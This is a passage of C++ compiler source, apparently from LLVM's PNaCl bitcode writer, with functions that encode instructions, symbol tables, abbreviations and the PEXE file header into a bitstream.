DEBUG(dbgs() << "<- WriteConstants\n");
}
/// \brief Emits a type for the forward value reference. That is, if
/// the ID for the given value is larger than or equal to the BaseID,
/// the corresponding forward reference is generated.
static void EmitFnForwardTypeRef(const Value *V,
unsigned BaseID,
NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
unsigned ValID = VE.getValueID(V);
if (ValID >= BaseID &&
VE.InsertFnForwardTypeRef(ValID)) {
SmallVector<unsigned, 2> Vals;
Vals.push_back(ValID);
Vals.push_back(VE.getTypeID(VE.NormalizeType(V->getType())));
Stream.EmitRecord(naclbitc::FUNC_CODE_INST_FORWARDTYPEREF, Vals,
FUNCTION_INST_FORWARDTYPEREF_ABBREV);
}
}
/// pushValue - The file has to encode both the value and type id for
/// many values, because we need to know what type to create for forward
/// references. However, most operands are not forward references, so this type
/// field is not needed.
///
/// This function adds V's value ID to Vals. If the value ID is higher than the
/// instruction ID, then it is a forward reference, and it also includes the
/// type ID. The value ID that is written is encoded relative to the InstID.
static void pushValue(const Value *V, unsigned InstID,
SmallVector<unsigned, 64> &Vals,
NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
const Value *VElided = VE.ElideCasts(V);
EmitFnForwardTypeRef(VElided, InstID, VE, Stream);
unsigned ValID = VE.getValueID(VElided);
// Make encoding relative to the InstID.
Vals.push_back(InstID - ValID);
}
static void pushValue64(const Value *V, unsigned InstID,
SmallVector<uint64_t, 128> &Vals,
NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
const Value *VElided = VE.ElideCasts(V);
EmitFnForwardTypeRef(VElided, InstID, VE, Stream);
uint64_t ValID = VE.getValueID(VElided);
Vals.push_back(InstID - ValID);
}
static void pushValueSigned(const Value *V, unsigned InstID,
SmallVector<uint64_t, 128> &Vals,
NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
const Value *VElided = VE.ElideCasts(V);
EmitFnForwardTypeRef(VElided, InstID, VE, Stream);
unsigned ValID = VE.getValueID(VElided);
int64_t diff = ((int32_t)InstID - (int32_t)ValID);
emitSignedInt64(Vals, diff);
}
/// WriteInstruction - Emit an instruction to the specified stream.
/// Returns true if instruction actually emitted.
static bool WriteInstruction(const Instruction &I, unsigned InstID,
NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream,
SmallVector<unsigned, 64> &Vals) {
unsigned Code = 0;
unsigned AbbrevToUse = 0;
VE.setInstructionID(&I);
switch (I.getOpcode()) {
default:
if (Instruction::isCast(I.getOpcode())) {
// CAST: [opval, destty, castopc]
if (VE.IsElidedCast(&I))
return false;
Code = naclbitc::FUNC_CODE_INST_CAST;
AbbrevToUse = FUNCTION_INST_CAST_ABBREV;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
Vals.push_back(VE.getTypeID(I.getType()));
unsigned Opcode = I.getOpcode();
Vals.push_back(GetEncodedCastOpcode(Opcode, I));
if (Opcode == Instruction::PtrToInt ||
Opcode == Instruction::IntToPtr ||
(Opcode == Instruction::BitCast &&
(I.getOperand(0)->getType()->isPointerTy() ||
I.getType()->isPointerTy()))) {
ReportIllegalValue("(PNaCl ABI) pointer cast", I);
}
} else if (isa<BinaryOperator>(I)) {
// BINOP: [opval, opval, opcode]
Code = naclbitc::FUNC_CODE_INST_BINOP;
AbbrevToUse = FUNCTION_INST_BINOP_ABBREV;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
Vals.push_back(GetEncodedBinaryOpcode(I.getOpcode(), I));
} else {
ReportIllegalValue("instruction", I);
}
break;
case Instruction::Select:
Code = naclbitc::FUNC_CODE_INST_VSELECT;
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
pushValue(I.getOperand(2), InstID, Vals, VE, Stream);
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
break;
case Instruction::ExtractElement:
Code = naclbitc::FUNC_CODE_INST_EXTRACTELT;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
break;
case Instruction::InsertElement:
Code = naclbitc::FUNC_CODE_INST_INSERTELT;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
pushValue(I.getOperand(2), InstID, Vals, VE, Stream);
break;
case Instruction::ICmp:
case Instruction::FCmp:
// compare returning Int1Ty or vector of Int1Ty
Code = naclbitc::FUNC_CODE_INST_CMP2;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
Vals.push_back(GetEncodedCmpPredicate(cast<CmpInst>(I)));
break;
case Instruction::Ret:
{
Code = naclbitc::FUNC_CODE_INST_RET;
unsigned NumOperands = I.getNumOperands();
if (NumOperands == 0)
AbbrevToUse = FUNCTION_INST_RET_VOID_ABBREV;
else if (NumOperands == 1) {
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
AbbrevToUse = FUNCTION_INST_RET_VAL_ABBREV;
} else {
for (unsigned i = 0, e = NumOperands; i != e; ++i)
pushValue(I.getOperand(i), InstID, Vals, VE, Stream);
}
}
break;
case Instruction::Br:
{
Code = naclbitc::FUNC_CODE_INST_BR;
const BranchInst &II = cast<BranchInst>(I);
Vals.push_back(VE.getValueID(II.getSuccessor(0)));
if (II.isConditional()) {
Vals.push_back(VE.getValueID(II.getSuccessor(1)));
pushValue(II.getCondition(), InstID, Vals, VE, Stream);
}
}
break;
case Instruction::Switch:
{
// Redefine Vals, since here we need to use 64 bit values
// explicitly to store large APInt numbers.
SmallVector<uint64_t, 128> Vals64;
Code = naclbitc::FUNC_CODE_INST_SWITCH;
const SwitchInst &SI = cast<SwitchInst>(I);
Vals64.push_back(VE.getTypeID(SI.getCondition()->getType()));
pushValue64(SI.getCondition(), InstID, Vals64, VE, Stream);
Vals64.push_back(VE.getValueID(SI.getDefaultDest()));
Vals64.push_back(SI.getNumCases());
for (SwitchInst::ConstCaseIt i = SI.case_begin(), e = SI.case_end();
i != e; ++i) {
// The PNaCl bitcode format has vestigial support for case
// ranges, but we no longer support reading or writing them,
// so the next two fields always have the same values.
// See https://code.google.com/p/nativeclient/issues/detail?id=3758
Vals64.push_back(1/*NumItems = 1*/);
Vals64.push_back(true/*IsSingleNumber = true*/);
emitSignedInt64(Vals64, i.getCaseValue()->getSExtValue());
Vals64.push_back(VE.getValueID(i.getCaseSuccessor()));
}
Stream.EmitRecord(Code, Vals64, AbbrevToUse);
// Also do expected action - clear external Vals collection:
Vals.clear();
return true;
}
break;
case Instruction::Unreachable:
Code = naclbitc::FUNC_CODE_INST_UNREACHABLE;
AbbrevToUse = FUNCTION_INST_UNREACHABLE_ABBREV;
break;
case Instruction::PHI: {
const PHINode &PN = cast<PHINode>(I);
Code = naclbitc::FUNC_CODE_INST_PHI;
// With the newer instruction encoding, forward references could give
// negative valued IDs. This is most common for PHIs, so we use
// signed VBRs.
SmallVector<uint64_t, 128> Vals64;
Vals64.push_back(VE.getTypeID(PN.getType()));
for (unsigned i = 0, e = PN.getNumIncomingValues(); i != e; ++i) {
pushValueSigned(PN.getIncomingValue(i), InstID, Vals64, VE, Stream);
Vals64.push_back(VE.getValueID(PN.getIncomingBlock(i)));
}
// Emit a Vals64 vector and exit.
Stream.EmitRecord(Code, Vals64, AbbrevToUse);
Vals64.clear();
return true;
}
case Instruction::Alloca:
if (!cast<AllocaInst>(&I)->getAllocatedType()->isIntegerTy(8))
report_fatal_error("Type of alloca instruction is not i8");
Code = naclbitc::FUNC_CODE_INST_ALLOCA;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream); // size.
Vals.push_back(Log2_32(cast<AllocaInst>(I).getAlignment())+1);
break;
case Instruction::Load:
// LOAD: [op, align, ty]
Code = naclbitc::FUNC_CODE_INST_LOAD;
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
AbbrevToUse = FUNCTION_INST_LOAD_ABBREV;
Vals.push_back(Log2_32(cast<LoadInst>(I).getAlignment())+1);
Vals.push_back(VE.getTypeID(I.getType()));
break;
case Instruction::Store:
// STORE: [ptr, val, align]
Code = naclbitc::FUNC_CODE_INST_STORE;
AbbrevToUse = FUNCTION_INST_STORE_ABBREV;
pushValue(I.getOperand(1), InstID, Vals, VE, Stream);
pushValue(I.getOperand(0), InstID, Vals, VE, Stream);
Vals.push_back(Log2_32(cast<StoreInst>(I).getAlignment())+1);
break;
case Instruction::Call: {
// CALL: [cc, fnid, args...]
// CALL_INDIRECT: [cc, fnid, fnty, args...]
const CallInst &Call = cast<CallInst>(I);
const Value* Callee = Call.getCalledValue();
Vals.push_back((GetEncodedCallingConv(Call.getCallingConv()) << 1)
| unsigned(Call.isTailCall()));
pushValue(Callee, InstID, Vals, VE, Stream);
if (Callee == VE.ElideCasts(Callee)) {
// Since the call pointer has not been elided, we know that
// the call pointer has the type signature of the called
// function. This implies that the reader can use the type
// signature of the callee to figure out how to add casts to
// the arguments.
Code = naclbitc::FUNC_CODE_INST_CALL;
} else {
// If the cast was elided, a pointer conversion to a pointer
// was applied, meaning that this is an indirect call. For the
// reader, this implies that we can't use the type signature
// of the callee to resolve elided call arguments, since it is
// not known. Hence, we must send the type signature to the
// reader.
Code = naclbitc::FUNC_CODE_INST_CALL_INDIRECT;
Vals.push_back(VE.getTypeID(I.getType()));
}
for (unsigned I = 0, E = Call.getNumArgOperands(); I < E; ++I) {
pushValue(Call.getArgOperand(I), InstID, Vals, VE, Stream);
}
break;
}
}
Stream.EmitRecord(Code, Vals, AbbrevToUse);
Vals.clear();
return true;
}
// Emit names for globals/functions etc.
static void WriteValueSymbolTable(const ValueSymbolTable &VST,
const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
if (VST.empty()) return;
Stream.EnterSubblock(naclbitc::VALUE_SYMTAB_BLOCK_ID);
// FIXME: Set up the abbrev, we know how many values there are!
// FIXME: We know if the type names can use 7-bit ascii.
SmallVector<unsigned, 64> NameVals;
for (ValueSymbolTable::const_iterator SI = VST.begin(), SE = VST.end();
SI != SE; ++SI) {
if (VE.IsElidedCast(SI->getValue())) continue;
const ValueName &Name = *SI;
// Figure out the encoding to use for the name.
bool is7Bit = true;
bool isChar6 = true;
for (const char *C = Name.getKeyData(), *E = C+Name.getKeyLength();
C != E; ++C) {
if (isChar6)
isChar6 = NaClBitCodeAbbrevOp::isChar6(*C);
if ((unsigned char)*C & 128) {
is7Bit = false;
break; // don't bother scanning the rest.
}
}
unsigned AbbrevToUse = VST_ENTRY_8_ABBREV;
// VST_ENTRY: [valueid, namechar x N]
// VST_BBENTRY: [bbid, namechar x N]
unsigned Code;
if (isa<BasicBlock>(SI->getValue())) {
Code = naclbitc::VST_CODE_BBENTRY;
if (isChar6)
AbbrevToUse = VST_BBENTRY_6_ABBREV;
} else {
Code = naclbitc::VST_CODE_ENTRY;
if (isChar6)
AbbrevToUse = VST_ENTRY_6_ABBREV;
else if (is7Bit)
AbbrevToUse = VST_ENTRY_7_ABBREV;
}
NameVals.push_back(VE.getValueID(SI->getValue()));
for (const char *P = Name.getKeyData(),
*E = Name.getKeyData()+Name.getKeyLength(); P != E; ++P)
NameVals.push_back((unsigned char)*P);
// Emit the finished record.
Stream.EmitRecord(Code, NameVals, AbbrevToUse);
NameVals.clear();
}
Stream.ExitBlock();
}
/// WriteFunction - Emit a function body to the module stream.
static void WriteFunction(const Function &F, NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
Stream.EnterSubblock(naclbitc::FUNCTION_BLOCK_ID);
VE.incorporateFunction(F);
SmallVector<unsigned, 64> Vals;
// Emit the number of basic blocks, so the reader can create them ahead of
// time.
Vals.push_back(VE.getBasicBlocks().size());
Stream.EmitRecord(naclbitc::FUNC_CODE_DECLAREBLOCKS, Vals);
Vals.clear();
// If there are function-local constants, emit them now.
unsigned CstStart, CstEnd;
VE.getFunctionConstantRange(CstStart, CstEnd);
WriteConstants(CstStart, CstEnd, VE, Stream);
// Keep a running idea of what the instruction ID is.
unsigned InstID = CstEnd;
// Finally, emit all the instructions, in order.
for (Function::const_iterator BB = F.begin(), E = F.end(); BB != E; ++BB)
for (BasicBlock::const_iterator I = BB->begin(), E = BB->end();
I != E; ++I) {
if (WriteInstruction(*I, InstID, VE, Stream, Vals) &&
!I->getType()->isVoidTy())
++InstID;
}
// Emit names for instructions etc.
if (PNaClAllowLocalSymbolTables)
WriteValueSymbolTable(F.getValueSymbolTable(), VE, Stream);
VE.purgeFunction();
Stream.ExitBlock();
}
// Emit blockinfo, which defines the standard abbreviations etc.
static void WriteBlockInfo(const NaClValueEnumerator &VE,
NaClBitstreamWriter &Stream) {
// We only want to emit block info records for blocks that have multiple
// instances: CONSTANTS_BLOCK, FUNCTION_BLOCK and VALUE_SYMTAB_BLOCK.
// Other blocks can define their abbrevs inline.
Stream.EnterBlockInfoBlock();
{ // 8-bit fixed-width VST_ENTRY/VST_BBENTRY strings.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 3));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::VALUE_SYMTAB_BLOCK_ID,
Abbv) != VST_ENTRY_8_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // 7-bit fixed width VST_ENTRY strings.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::VST_CODE_ENTRY));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 7));
if (Stream.EmitBlockInfoAbbrev(naclbitc::VALUE_SYMTAB_BLOCK_ID,
Abbv) != VST_ENTRY_7_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // 6-bit char6 VST_ENTRY strings.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::VST_CODE_ENTRY));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Char6));
if (Stream.EmitBlockInfoAbbrev(naclbitc::VALUE_SYMTAB_BLOCK_ID,
Abbv) != VST_ENTRY_6_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // 6-bit char6 VST_BBENTRY strings.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::VST_CODE_BBENTRY));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Char6));
if (Stream.EmitBlockInfoAbbrev(naclbitc::VALUE_SYMTAB_BLOCK_ID,
Abbv) != VST_BBENTRY_6_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // SETTYPE abbrev for CONSTANTS_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::CST_CODE_SETTYPE));
Abbv->Add(NaClBitCodeAbbrevOp(TypeIdEncoding, TypeIdNumBits));
if (Stream.EmitBlockInfoAbbrev(naclbitc::CONSTANTS_BLOCK_ID,
Abbv) != CONSTANTS_SETTYPE_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INTEGER abbrev for CONSTANTS_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::CST_CODE_INTEGER));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::CONSTANTS_BLOCK_ID,
Abbv) != CONSTANTS_INTEGER_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INTEGER_ZERO abbrev for CONSTANTS_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::CST_CODE_INTEGER));
Abbv->Add(NaClBitCodeAbbrevOp(0));
if (Stream.EmitBlockInfoAbbrev(naclbitc::CONSTANTS_BLOCK_ID,
Abbv) != CONSTANTS_INTEGER_ZERO_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // FLOAT abbrev for CONSTANTS_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::CST_CODE_FLOAT));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::CONSTANTS_BLOCK_ID,
Abbv) != CONSTANTS_FLOAT_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
// FIXME: This should only use space for first class types!
{ // INST_LOAD abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_LOAD));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // Ptr
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 4)); // Align
// Note: The vast majority of load operations are only on integers
// and floats. In addition, no function types are allowed. In
// addition, the type IDs have been sorted based on usage, moving
// type IDs associated integers and floats to very low
// indices. Hence, we assume that we can use a smaller width for
// the typecast.
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 4)); // TypeCast
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_LOAD_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_BINOP abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_BINOP));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // LHS
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // RHS
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 4)); // opc
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_BINOP_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_CAST abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_CAST));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // OpVal
Abbv->Add(NaClBitCodeAbbrevOp(TypeIdEncoding, TypeIdNumBits)); // dest ty
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 4)); // opc
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_CAST_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_RET abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_RET));
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_RET_VOID_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_RET abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_RET));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // ValID
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_RET_VAL_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_UNREACHABLE abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_UNREACHABLE));
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_UNREACHABLE_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_FORWARDTYPEREF abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_FORWARDTYPEREF));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbv->Add(NaClBitCodeAbbrevOp(TypeIdEncoding, TypeIdNumBits));
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_FORWARDTYPEREF_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // INST_STORE abbrev for FUNCTION_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::FUNC_CODE_INST_STORE));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // Ptr
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6)); // Value
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 4)); // Align
if (Stream.EmitBlockInfoAbbrev(naclbitc::FUNCTION_BLOCK_ID,
Abbv) != FUNCTION_INST_STORE_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // VAR abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_VAR));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 1));
if (Stream.EmitBlockInfoAbbrev(naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_VAR_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // COMPOUND abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_COMPOUND));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_COMPOUND_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // ZEROFILL abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_ZEROFILL));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_ZEROFILL_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // DATA abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_DATA));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Array));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::Fixed, 8));
if (Stream.EmitBlockInfoAbbrev(naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_DATA_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // RELOC abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_RELOC));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
if (Stream.EmitBlockInfoAbbrev(naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_RELOC_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
{ // RELOC_WITH_ADDEND_ABBREV abbrev for GLOBALVAR_BLOCK.
NaClBitCodeAbbrev *Abbv = new NaClBitCodeAbbrev();
Abbv->Add(NaClBitCodeAbbrevOp(naclbitc::GLOBALVAR_RELOC));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
Abbv->Add(NaClBitCodeAbbrevOp(NaClBitCodeAbbrevOp::VBR, 6));
if (Stream.EmitBlockInfoAbbrev(
naclbitc::GLOBALVAR_BLOCK_ID,
Abbv) != GLOBALVAR_RELOC_WITH_ADDEND_ABBREV)
llvm_unreachable("Unexpected abbrev ordering!");
}
Stream.ExitBlock();
}
/// WriteModule - Emit the specified module to the bitstream.
static void WriteModule(const Module *M, NaClBitstreamWriter &Stream) {
DEBUG(dbgs() << "-> WriteModule\n");
Stream.EnterSubblock(naclbitc::MODULE_BLOCK_ID);
SmallVector<unsigned, 1> Vals;
unsigned CurVersion = 1;
Vals.push_back(CurVersion);
Stream.EmitRecord(naclbitc::MODULE_CODE_VERSION, Vals);
// Analyze the module, enumerating globals, functions, etc.
NaClValueEnumerator VE(M);
OptimizeTypeIdEncoding(VE);
// Emit blockinfo, which defines the standard abbreviations etc.
WriteBlockInfo(VE, Stream);
// Emit information describing all of the types in the module.
WriteTypeTable(VE, Stream);
// Emit top-level description of module, including inline asm,
// descriptors for global variables, and function prototype info.
WriteModuleInfo(M, VE, Stream);
// Emit names for globals/functions etc.
WriteValueSymbolTable(M->getValueSymbolTable(), VE, Stream);
// Emit function bodies.
for (Module::const_iterator F = M->begin(), E = M->end(); F != E; ++F)
if (!F->isDeclaration())
WriteFunction(*F, VE, Stream);
Stream.ExitBlock();
DEBUG(dbgs() << "<- WriteModule\n");
}
// Max size for variable fields. Currently only used for writing them
// out to files (the parsing works for arbitrary sizes).
static const size_t kMaxVariableFieldSize = 256;
void llvm::NaClWriteHeader(NaClBitstreamWriter &Stream,
bool AcceptSupportedOnly) {
NaClBitcodeHeader Header;
Header.push_back(
new NaClBitcodeHeaderField(NaClBitcodeHeaderField::kPNaClVersion,
PNaClVersion));
if (AlignBitcodeRecords)
Header.push_back(new NaClBitcodeHeaderField(
NaClBitcodeHeaderField::kAlignBitcodeRecords));
Header.InstallFields();
if (!(Header.IsSupported() ||
(!AcceptSupportedOnly && Header.IsReadable()))) {
report_fatal_error(Header.Unsupported());
}
NaClWriteHeader(Header, Stream);
}
// Write out the given Header to the bitstream.
void llvm::NaClWriteHeader(const NaClBitcodeHeader &Header,
NaClBitstreamWriter &Stream) {
Stream.initFromHeader(Header);
// Emit the file magic number;
Stream.Emit((unsigned)'P', 8);
Stream.Emit((unsigned)'E', 8);
Stream.Emit((unsigned)'X', 8);
Stream.Emit((unsigned)'E', 8);
// Emit placeholder for number of bytes used to hold header fields.
// This value is necessary so that the streamable reader can preallocate
// a buffer to read the fields.
Stream.Emit(0, naclbitc::BlockSizeWidth);
unsigned BytesForHeader = 0;
unsigned NumberFields = Header.NumberFields();
if (NumberFields > 0xFFFF)
report_fatal_error("Too many header fields");
uint8_t Buffer[kMaxVariableFieldSize];
for (unsigned F = 0; F < NumberFields; ++F) {
NaClBitcodeHeaderField *Field = Header.GetField(F);
if (!Field->Write(Buffer, kMaxVariableFieldSize))
report_fatal_error("Header field too big to generate");
size_t limit = Field->GetTotalSize();
for (size_t i = 0; i < limit; i++) {
Stream.Emit(Buffer[i], 8);
}
BytesForHeader += limit;
}
if (BytesForHeader > 0xFFFF)
report_fatal_error("Header fields to big to save");
// Encode #fields in top two bytes, and #bytes to hold fields in
// bottom two bytes. Then backpatch into second word.
unsigned Value = NumberFields | (BytesForHeader << 16);
Stream.BackpatchWord(NaClBitcodeHeader::WordSize, Value);
}
/// WriteBitcodeToFile - Write the specified module to the specified output
/// stream.
void llvm::NaClWriteBitcodeToFile(const Module *M, raw_ostream &Out,
bool AcceptSupportedOnly) {
SmallVector<char, 0> Buffer;
Buffer.reserve(256*1024);
// Emit the module into the buffer.
{
NaClBitstreamWriter Stream(Buffer);
NaClWriteHeader(Stream, AcceptSupportedOnly);
WriteModule(M, Stream);
}
// Write the generated bitstream to "Out".
Out.write((char*)&Buffer.front(), Buffer.size());
}
